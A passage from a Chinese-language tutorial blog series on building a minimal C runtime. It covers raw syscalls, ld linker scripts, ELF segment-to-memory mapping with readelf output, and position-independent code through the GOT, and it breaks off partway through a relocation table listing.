        :&amp;quot;rax&amp;quot;, &amp;quot;rdi&amp;quot;, &amp;quot;rsi&amp;quot;, &amp;quot;rdx&amp;quot;);
}

void exit()
{
    asm(&amp;quot;movq $60, %rax \n\t&amp;quot;
        &amp;quot;movq $42, %rdi \n\t&amp;quot;
        &amp;quot;syscall&amp;quot;);
}

void nomain()
{
    print();
    exit();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译，链接，运行&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ gcc -c -fno-builtin tinyhelloworld.c
$ ld -static -e nomain -o tinyhelloworld tinyhelloworld.o
$ .&amp;#x2F;tinyhelloworld
hello world!
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;syscall&lt;&#x2F;code&gt;系统调用的参数传递和返回值规则如下&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;系统调用号&lt;&#x2F;th&gt;&lt;th&gt;参数1&lt;&#x2F;th&gt;&lt;th&gt;参数2&lt;&#x2F;th&gt;&lt;th&gt;参数3&lt;&#x2F;th&gt;&lt;th&gt;参数4&lt;&#x2F;th&gt;&lt;th&gt;参数5&lt;&#x2F;th&gt;&lt;th&gt;参数6&lt;&#x2F;th&gt;&lt;th&gt;返回值&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;rax&lt;&#x2F;td&gt;&lt;td&gt;rdi&lt;&#x2F;td&gt;&lt;td&gt;rsi&lt;&#x2F;td&gt;&lt;td&gt;rdx&lt;&#x2F;td&gt;&lt;td&gt;r10&lt;&#x2F;td&gt;&lt;td&gt;r8&lt;&#x2F;td&gt;&lt;td&gt;r9&lt;&#x2F;td&gt;&lt;td&gt;rax&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;调用规则与int 0x80类似，值得注意的是syscall和int 0x80使用的&lt;strong&gt;系统调用号不一致&lt;&#x2F;strong&gt;，syscall的系统调用号定义在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;torvalds&#x2F;linux&#x2F;blob&#x2F;master&#x2F;arch&#x2F;x86&#x2F;entry&#x2F;syscalls&#x2F;syscall_64.tbl&quot;&gt;linux&#x2F;arch&#x2F;x86&#x2F;entry&#x2F;syscalls&#x2F;syscall_64.tbl&lt;&#x2F;a&gt;，int x80的系统调用号定义在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;torvalds&#x2F;linux&#x2F;blob&#x2F;master&#x2F;arch&#x2F;x86&#x2F;entry&#x2F;syscalls&#x2F;syscall_32.tbl&quot;&gt;linux&#x2F;arch&#x2F;x86&#x2F;entry&#x2F;syscalls&#x2F;syscall_32.tbl&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来介绍如何使用&lt;strong&gt;链接控制脚本&lt;&#x2F;strong&gt;来控制链接器ld的链接过程&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;链接控制脚本就是描述输入文件的section如何变成输出文件中的section，并且控制输出文件的内存布局&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当我们在链接程序时如果没有指定链接脚本，ld会使用一个默认的链接脚本，可以使用&lt;code&gt;$ld -verbose&lt;&#x2F;code&gt;查看，默认链接脚本都存放在&lt;code&gt;&#x2F;usr&#x2F;lib&#x2F;ldscripts&lt;&#x2F;code&gt;下，不同机器平台，输出文件格式都有相应的链接脚本。&lt;&#x2F;p&gt;
&lt;p&gt;下面使编写个最简单的链接控制脚本&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ENTRY(nomain)
SECTIONS
{
     . = 0x400000 + SIZEOF_HEADERS;
    tinytext : {*(.text) *(.data) *(.rodata)}
    &amp;#x2F;DISCARD&amp;#x2F; : {*(.comment)}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;该链接脚本指定了如下规则&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ENTRY(nomain)&lt;&#x2F;code&gt; 指定程序的入口为nomain函数&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;. = 0x400000 + SIZEOF_HEADERS&lt;&#x2F;code&gt; 将当前虚拟地址设置成0x400000 + SIZEOF_HEADERS，SIZEOF_HEADERS为输出文件的文件头大小&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;tinytext : {*(.text) *(.data) *(.rodata)}&lt;&#x2F;code&gt; 将所有输入文件的.text, .data和.rodata段合并到输出文件的.tinytext&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&#x2F;DISCARD&#x2F; : {*(.comment)}&lt;&#x2F;code&gt; 将所有输入文件中的.comment段丢弃，不保存到输入文件中&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;链接时使用&lt;code&gt;-T&lt;&#x2F;code&gt;指定使用的链接脚本
&lt;code&gt;$ ld -static -T tinyhelloworld.lds -o tinyhelloworld tinyhelloworld.o&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;链接脚本如何编写的细节这里不再细究，这里介绍下学习过程中遇到的一个比较疑惑的问题&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;在32位机器上设置程序起始虚拟地址为0x400000 + SIZEOF_HEADERS，而在64位机器上设置为0x08048000 + SIZEOF_HEADERS&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;为什么选择0x400000和0x08048000这两个值呢？&lt;&#x2F;p&gt;
&lt;p&gt;通过阅读&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;39689516&#x2F;why-is-address-0x400000-chosen-as-a-start-of-text-segment-in-x86-64-abi&quot;&gt;Why is address 0x400000 chosen as a start of text segment in x86_64 ABI?&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;2966426&#x2F;why-do-virtual-memory-addresses-for-linux-binaries-start-at-0x8048000&quot;&gt;Why do virtual memory addresses for linux binaries start at 0x8048000?&lt;&#x2F;a&gt;, &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;questions&#x2F;2187484&#x2F;why-is-the-elf-execution-entry-point-virtual-address-of-the-form-0x80xxxxx-and-n&quot;&gt;Why is the ELF execution entry point virtual address of the form 0x80xxxxx and not zero 0x0?&lt;&#x2F;a&gt;和&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.quora.com&#x2F;On-Linux-why-does-the-text-segment-start-at-0x08048000-What-is-stored-below-that-address&quot;&gt;On Linux, why does the text segment start at 0x08048000? What is stored below that address?&lt;&#x2F;a&gt;这几个回答了解一二，总结如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;System V i386的设计就是代码段位于0x8048000，然后低地址作为堆栈空间，之所以选择0x8048000是为了提供一个&quot;恰当大小&quot;的堆栈空间&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-40309935-d71a0340-5d3d-11e8-8059-2ef26e086b6f-20240421231558-kzy2ru0-307c6f.png&quot; alt=&quot;Conventional Segment Arrangements&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;其他x86&#x2F;32系统沿用了System V i386的设计，默认将代码段的地址设置为0x8048000，该地址往下128M空间是否有用到影响不大，因为128M&quot;足够小&quot;&lt;&#x2F;li&gt;
&lt;li&gt;而64位系统使用更低的地址0x40000也暂时没有定论，只能说它&quot;足够使用&quot;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对该问题理解总结得比较粗浅，有时间可以仔细研究下上面的那几个回答，理解更多细节&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue14-elfke-zhi-xing-wen-jian-zai-xu-ni-di-zhi-kong-jian-de-fen-bu&quot;&gt;Issue14 ELF可执行文件在虚拟地址空间的分布&lt;&#x2F;h2&gt;
&lt;p&gt;本文将根据一个实际可执行文件，画出其ELF文件结构图及其与虚拟地址空间和物理内存的映射关系。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;本机环境: deepin15.5 64bit&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;可执行程序源代码如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;#include &amp;quot;unistd.h&amp;quot;
int main()
{
    while (1) {
        sleep(1000);
    }
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编译出可执行文件：&lt;code&gt;$ gcc -static -o SectionMapping SectionMapping.c&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;要画出其ELF文件结构图，我们需要查看该可执行文件各个section的大小和偏移等信息，这些信息通过查看ELF header和段表得知&lt;&#x2F;p&gt;
&lt;p&gt;查看ELF header：&lt;code&gt;$ readelf -h SectionMapping&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ readelf -h SectionMapping
ELF Header:
  Magic: 7f 45 4c 46 02 01 01 03 00 00 00 00 00 00 00 00
  Class: ELF64
  Data: 2&amp;#x27;s complement, little endian
  Version: 1 (current)
  OS&amp;#x2F;ABI: UNIX - GNU
  ABI Version: 0
  Type: EXEC (Executable file)
  Machine: Advanced Micro Devices X86-64
  Version: 0x1
  Entry point address: 0x400930
  Start of program headers: 64 (bytes into file)
  Start of section headers: 804624 (bytes into file)
  Flags: 0x0
  Size of this header: 64 (bytes)
  Size of program headers: 56 (bytes)
  Number of program headers: 6
  Size of section headers: 64 (bytes)
  Number of section headers: 32
  Section header string table index: 31
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从输出结果获取到的信息为&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;ELF header大小为64bytes&lt;&#x2F;li&gt;
&lt;li&gt;Section table(段表)偏移为0xc4710(804624)，大小为0x800ytes(64 * 32)&lt;&#x2F;li&gt;
&lt;li&gt;Program header table(程序头表)偏移为0x40(64)，大小为0x150bytes(56 * 6)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;查看Section table(段表)：&lt;code&gt;$ readelf -S SectionMapping&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ readelf -S SectionMapping
There are 32 section headers, starting at offset 0xc4710:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .note.ABI-tag     NOTE             0000000000400190  00000190
       0000000000000020  0000000000000000   A       0     0     4
  [ 2] .note.gnu.build-i NOTE             00000000004001b0  000001b0
       0000000000000024  0000000000000000   A       0     0     4
readelf: Warning: [ 3]: Link field (0) should index a symtab section.
  [ 3] .rela.plt         RELA             00000000004001d8  000001d8
       0000000000000108  0000000000000018  AI       0    24     8
  [ 4] .init             PROGBITS         00000000004002e0  000002e0
       0000000000000017  0000000000000000  AX       0     0     4
  [ 5] .plt              PROGBITS         00000000004002f8  000002f8
       0000000000000058  0000000000000000  AX       0     0     8
  [ 6] .text             PROGBITS         0000000000400350  00000350
       00000000000888b7  0000000000000000  AX       0     0     16
  [ 7] __libc_freeres_fn PROGBITS         0000000000488c10  00088c10
       0000000000000ab7  0000000000000000  AX       0     0     16
  [ 8] __libc_thread_fre PROGBITS         00000000004896d0  000896d0
       00000000000000e1  0000000000000000  AX       0     0     16
  [ 9] .fini             PROGBITS         00000000004897b4  000897b4
       0000000000000009  0000000000000000  AX       0     0     4
  [10] .rodata           PROGBITS         00000000004897c0  000897c0
       000000000001c724  0000000000000000   A       0     0     32
  [11] __libc_subfreeres PROGBITS         00000000004a5ee8  000a5ee8
       0000000000000050  0000000000000000   A       0     0     8
  [12] __libc_IO_vtables PROGBITS         00000000004a5f40  000a5f40
       00000000000006a8  0000000000000000   A       0     0     32
  [13] __libc_atexit     PROGBITS         00000000004a65e8  000a65e8
       0000000000000008  0000000000000000   A       0     0     8
  [14] __libc_thread_sub PROGBITS         00000000004a65f0  000a65f0
       0000000000000008  0000000000000000   A       0     0     8
  [15] .eh_frame         PROGBITS         00000000004a65f8  000a65f8
       000000000000a64c  0000000000000000   A       0     0     8
  [16] .gcc_except_table PROGBITS         00000000004b0c44  000b0c44
       00000000000000af  0000000000000000   A       0     0     1
  [17] .tdata            PROGBITS         00000000006b0eb8  000b0eb8
       0000000000000020  0000000000000000 WAT       0     0     8
  [18] .tbss             NOBITS           00000000006b0ed8  000b0ed8
       0000000000000030  0000000000000000 WAT       0     0     8
  [19] .init_array       INIT_ARRAY       00000000006b0ed8  000b0ed8
       0000000000000010  0000000000000008  WA       0     0     8
  [20] .fini_array       FINI_ARRAY       00000000006b0ee8  000b0ee8
       0000000000000010  0000000000000008  WA       0     0     8
  [21] .jcr              PROGBITS         00000000006b0ef8  000b0ef8
       0000000000000008  0000000000000000  WA       0     0     8
  [22] .data.rel.ro      PROGBITS         00000000006b0f00  000b0f00
       00000000000000e4  0000000000000000  WA       0     0     32
  [23] .got              PROGBITS         00000000006b0fe8  000b0fe8
       0000000000000008  0000000000000008  WA       0     0     8
  [24] .got.plt          PROGBITS         00000000006b1000  000b1000
       0000000000000070  0000000000000008  WA       0     0     8
  [25] .data             PROGBITS         00000000006b1080  000b1080
       0000000000001ad0  0000000000000000  WA       0     0     32
  [26] .bss              NOBITS           00000000006b2b60  000b2b50
       0000000000001898  0000000000000000  WA       0     0     32
  [27] __libc_freeres_pt NOBITS           00000000006b43f8  000b2b50
       0000000000000030  0000000000000000  WA       0     0     8
  [28] .comment          PROGBITS         0000000000000000  000b2b50
       0000000000000025  0000000000000001  MS       0     0     1
  [29] .symtab           SYMTAB           0000000000000000  000b2b78
       000000000000b1d8  0000000000000018          30   753     8
  [30] .strtab           STRTAB           0000000000000000  000bdd50
       000000000000685b  0000000000000000           0     0     1
  [31] .shstrtab         STRTAB           0000000000000000  000c45ab
       000000000000015f  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  l (large), p (processor specific)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;从输出我们可以看到每个section的大小及其偏移&lt;&#x2F;p&gt;
&lt;p&gt;通过查看段表和ELF header，此时我们已经可以画出可执行文件的整个ELF文件结构图&lt;&#x2F;p&gt;
&lt;p&gt;接下来我们查看可执行程序的程序头(Program header)，该程序头描述了ELF该如何加载被操作系统映射到进程的虚拟空间&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ readelf -l SectionMapping
Elf file type is EXEC (Executable file)
Entry point 0x400930
There are 6 program headers, starting at offset 64
Program Headers:
  Type Offset VirtAddr PhysAddr
                 FileSiz MemSiz Flags Align
  LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x00000000000b0cf3 0x00000000000b0cf3 R E 0x200000
  LOAD 0x00000000000b0eb8 0x00000000006b0eb8 0x00000000006b0eb8
                 0x0000000000001c98 0x0000000000003570 RW 0x200000
  NOTE 0x0000000000000190 0x0000000000400190 0x0000000000400190
                 0x0000000000000044 0x0000000000000044 R 0x4
  TLS 0x00000000000b0eb8 0x00000000006b0eb8 0x00000000006b0eb8
                 0x0000000000000020 0x0000000000000050 R 0x8
  GNU_STACK 0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000 RW 0x10
  GNU_RELRO 0x00000000000b0eb8 0x00000000006b0eb8 0x00000000006b0eb8
                 0x0000000000000148 0x0000000000000148 R 0x1
 Section to Segment mapping:
  Segment Sections...
   00 .note.ABI-tag .note.gnu.build-id .rela.plt .init .plt .text __libc_freeres_fn __libc_thread_freeres_fn .fini .rodata __libc_subfreeres __libc_IO_vtables __libc_atexit __libc_thread_subfreeres .eh_frame .gcc_except_table
   01 .tdata .init_array .fini_array .jcr .data.rel.ro .got .got.plt .data .bss __libc_freeres_ptrs
   02 .note.ABI-tag .note.gnu.build-id
   03 .tdata .tbss
   04
   05 .tdata .init_array .fini_array .jcr .data.rel.ro .got
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到该可执行文件有两个需要被映射到虚拟地址空间的Segment，分别为Segment0和Segment1，且它们由多个属性类似的Section组成。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Segment：对于属性类似(相同权限)的section，把它们合并到一起当作一个Segment进行映射，这样做的好处是可以明显减少页面内部碎片，从而节省了内存空间。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;段&lt;&#x2F;th&gt;&lt;th&gt;起始虚拟地址&lt;&#x2F;th&gt;&lt;th&gt;segment在文件中所占空间的长度&lt;&#x2F;th&gt;&lt;th&gt;segment在虚拟地址空间所占用的长度&lt;&#x2F;th&gt;&lt;th&gt;segment在文件中的偏移&lt;&#x2F;th&gt;&lt;th&gt;权限&lt;&#x2F;th&gt;&lt;th&gt;对齐&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Segment0&lt;&#x2F;td&gt;&lt;td&gt;0x400000&lt;&#x2F;td&gt;&lt;td&gt;0xb0cf3&lt;&#x2F;td&gt;&lt;td&gt;0xb0cf3&lt;&#x2F;td&gt;&lt;td&gt;0x00&lt;&#x2F;td&gt;&lt;td&gt;可读可执行(RE)&lt;&#x2F;td&gt;&lt;td&gt;0x200000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Segment1&lt;&#x2F;td&gt;&lt;td&gt;0x6b0eb8&lt;&#x2F;td&gt;&lt;td&gt;0x1c98&lt;&#x2F;td&gt;&lt;td&gt;0x3570&lt;&#x2F;td&gt;&lt;td&gt;0xb0eb8&lt;&#x2F;td&gt;&lt;td&gt;可读可写(RW)&lt;&#x2F;td&gt;&lt;td&gt;0x200000&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;注意：为什么Segment1在ELF文件中所占用空间长度为0x1c98，而在进程虚拟地址空间占用的大小memsize为0x3570&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;原因为Segment1包含了&lt;code&gt;.bss&lt;&#x2F;code&gt;和&lt;code&gt;__libc_freeres_ptrs&lt;&#x2F;code&gt;这两个Section，从查看段表的输出结果中可以看到这两个Section的&lt;code&gt;Type&lt;&#x2F;code&gt;为&lt;code&gt;NOBITS&lt;&#x2F;code&gt;，意味着它们在ELF文件中没有实际内容，不占文件空间。&lt;&#x2F;p&gt;
&lt;p&gt;只要把.bss和__libc_freeres_ptrs在内存中实际占据空间加上0x1c98就可以得到0x3570这个值，计算过程如下：
.bss在.data之后，.data的结束地址为0xb1080+0x1ad0 = 0xb2b50，由于.bss是32对齐，所以.bss的起始地址为0xb2b60，结束地址为0xb2b60+0x1898 = 0xb43f8,由于__libc_freeres_ptrs为8对齐，所以起始地址为0xb43f8，终止地址为0xb43f8 + 0x30 = 0xb4428，然后使用__libc_freeres_ptrs的结束地址减去.data的结束地址就可以得到这两个段在内存中占据的空间大小0xb4428-0xb2b50 = 0x18d8，加上0x1c98刚好等于0x3570&lt;&#x2F;p&gt;
&lt;p&gt;查询系统页大小：&lt;code&gt;$ getconf PAGE_SIZE&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ getconf PAGE_SIZE
4096
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;根据上述得到的信息，我们可以画出可执行文件，虚拟地址空间和物理内存三者的映射关系&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;%E5%AE%9E%E7%8E%B0%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84-crt-issue24-%E7%B3%BB%E5%88%97%E5%90%88%E9%9B%86&#x2F;assets&#x2F;net-img-40585102-491d544c-61df-11e8-9b97-b19aaf65d383-20240421231856-d9hgjgc-b93473.jpg&quot; alt=&quot;sectionmapping&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;值得注意的是，可执行文件的0xb0000 ~ 0xb1000区域在虚拟地址空间被映射了2次，分别对应虚拟地址空间的0x4b0000 ~ 0x4b10000和0x6b0000 ~ 0x6b1000，&lt;strong&gt;然后这两部分虚拟地址空间最终映射到物理内存中的同一个页面&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;这样做的好处是增加空间使用率&lt;&#x2F;strong&gt;。由于可执行程序0xb0000~0xb1000这一页数据同时包含了Segment0和Segment1中的section，如果将该页数据分成两部分，分别只包含一个Segment的数据，那么最终将被映射到两页物理内存，且这两页物理内存有效数据都少于页大小4096bytes，浪费内存。&lt;&#x2F;p&gt;
&lt;p&gt;参考：
《程序员的自我修养》&lt;&#x2F;p&gt;
&lt;h2 id=&quot;issue15-wei-zhi-wu-guan-dai-ma-pic&quot;&gt;Issue15 位置无关代码(PIC)&lt;&#x2F;h2&gt;
&lt;p&gt;本文主要研究动态共享库如何实现位置无关，基于如下代码进行研究&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;本机环境 Linux cike-pc 4.14.0-deepin2-amd64 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;chenpengcong&#x2F;blog&#x2F;issues&#x2F;1&quot;&gt;#1&lt;&#x2F;a&gt; SMP PREEMPT Deepin 4.14.12-2 (2018-01-06) x86_64 GNU&#x2F;Linux&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;extern int global_var;
static int static_var = 6;

void bar();
static void baz();

void foo()
{
    global_var = 66;
    static_var = 66;
    bar();
    baz();
}

static void baz()
{

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;使用&lt;code&gt;fPIC&lt;&#x2F;code&gt;指定编译成位置无关的动态共享库&lt;code&gt;$ gcc -shared -fPIC mydlib.c -o libmydlib.so&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;该例子对包含了4种类型的地址访问，分别是&lt;strong&gt;模块内部函数调用&lt;&#x2F;strong&gt;，&lt;strong&gt;模块内部数据访问&lt;&#x2F;strong&gt;，&lt;strong&gt;模块外部数据访问&lt;&#x2F;strong&gt;和&lt;strong&gt;模块间函数调用&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先，我们反编译出汇编代码。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ objdump -d libmydlib.so

00000000000006b0 &amp;lt;foo&amp;gt;:
 6b0:    55                       push   %rbp
 6b1:    48 89 e5                 mov    %rsp,%rbp
 6b4:    48 8b 05 1d 09 20 00     mov    0x20091d(%rip),%rax        # 200fd8 &amp;lt;global_var&amp;gt;
 6bb:    c7 00 42 00 00 00        movl   $0x42,(%rax)
 6c1:    c7 05 5d 09 20 00 42     movl   $0x42,0x20095d(%rip)        # 201028 &amp;lt;static_var&amp;gt;
 6c8:    00 00 00
 6cb:    b8 00 00 00 00           mov    $0x0,%eax
 6d0:    e8 bb fe ff ff           callq  590 &amp;lt;bar@plt&amp;gt;
 6d5:    b8 00 00 00 00           mov    $0x0,%eax
 6da:    e8 03 00 00 00           callq  6e2 &amp;lt;baz&amp;gt;
 6df:    90                       nop
 6e0:    5d                       pop    %rbp
 6e1:    c3                       retq

00000000000006e2 &amp;lt;baz&amp;gt;:
 6e2:    55                       push   %rbp
 6e3:    48 89 e5                 mov    %rsp,%rbp
 6e6:    90                       nop
 6e7:    5d                       pop    %rbp
 6e8:    c3                       retq
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;模块内部函数调用&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;baz函数调用指令如下&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;6da:  e8 03 00 00 00      callq 6e2&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;E8&lt;&#x2F;code&gt;是相对偏移调用指令call的指令码
&lt;code&gt;03 00 00 00&lt;&#x2F;code&gt;是目的地址相对于下一条指令的偏移，由于机器是小端的，所以偏移量为0x00000003&lt;&#x2F;p&gt;
&lt;p&gt;所以bar的地址为0x6df + 0x03 = 0x6e2&lt;&#x2F;p&gt;
&lt;p&gt;无论该模块装载到哪个位置，这条指令都是有效的，因为foo和bar的相对位置不变&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;模块内部数据访问&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;对定义在模块内部的静态变量static_var访问指令如下&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;6c1:  c7 05 5d 09 20 00 42   movl  $0x42,0x20095d(%rip)    # 201028&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;由于对数据的寻址方式往往没有相对与当前指令地址的寻址方式，所以使用指令指针寄存器rip加上一个偏移量来达到目的&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;模块外部数据访问&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;定义在模块外部的变量global_var的地址要等到装载时才能确定。&lt;&#x2F;p&gt;
&lt;p&gt;假设global_var定义在模块B，相对.data的起始地址为0x00，当模块B的.data的装载地址为0x10000时，变量global_var的地址为0x10000，这时系统遍历模块libmydlib.so中的定位表，把所有对global_var的地址引用都定位至0x10000。&lt;&#x2F;p&gt;
&lt;p&gt;上述做法存在的问题是：其他进程无法共享使用模块libmydlib.so的指令部分，因为其他进程不一定将模块B装载到与上述装载过程一样的地址，对global_var的访问不再是使用0x10000地址。&lt;&#x2F;p&gt;
&lt;p&gt;解决该问题的基本想法就是把指令中那些需要被修改的部分分离出来，跟数据部分放在一起，这样指令部分就可以保持不变，而数据部分可以在每个进程中拥有一个副本。&lt;&#x2F;p&gt;
&lt;p&gt;ELF使用一个全局偏移表(GOT, Global Offset Table)来记录外部变量的地址，GOT就是一个指向外部变量的指针数组，当代码对外部变量进行访问的时候，先访问该变量在GOT中对应的项，再根据该项的值去访问变量。&lt;&#x2F;p&gt;
&lt;p&gt;由于GOT在编译时就可以确定相对于文件的偏移，因此对GOT的访问可以使用上面的模块内部数据访问的方法，使用rip寄存器加上一个偏移量来访问，然后GOT中记录的变量的实际地址等到装载时再修改，这样就完成了指令变化部分的分离。&lt;&#x2F;p&gt;
&lt;p&gt;这时我们可以来看libmydlib.so对外部变量global_var的访问&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; 6b4:    48 8b 05 1d 09 20 00     mov    0x20091d(%rip),%rax        # 200fd8 &amp;lt;global_var&amp;gt;
 6bb:    c7 00 42 00 00 00        movl   $0x42,(%rax)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到变量global_var的访问地址保存在0x20091d + (%rip) = 0x200fd8&lt;&#x2F;p&gt;
&lt;p&gt;通过查看段表&lt;code&gt;$ readelf -S libmydlib.so&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;  [20] .got PROGBITS 0000000000200fd0 00000fd0
       0000000000000030 0000000000000008 WA 0 0 8
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可知.got段的地址范围为0x200fd0 ~ 0x2001000&lt;&#x2F;p&gt;
&lt;p&gt;因此对0x200fd8的访问实际就是访问GOT，且具体访问的是GOT的第二项&lt;&#x2F;p&gt;
&lt;p&gt;查看动态重定位表&lt;code&gt;$ readelf -r libmdlib.so&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;readelf -r libmdlib.so

Relocation section &amp;#x27;.rela.dyn&amp;#x27; at offset 0x478 contains 9 entries:
  Offset          Info           Type           Sym. Value    Sym. Name + Addend
000000200df8  000000000008 R_X86_64_RELATIVE                    680
000000200e00  000000000008 R_X86_64_RELATIVE                    640
000000201020  000000000008 R_X86_64_RELATIVE                    201020
000000200fd0  000100000006 R_X86_64_GLOB_DAT 0000000000000000 _ITM_deregisterTMClone + 0
000000200fd8  000300000006 R_X86_64_GLOB_DAT 0000000000000000 global_var + 0
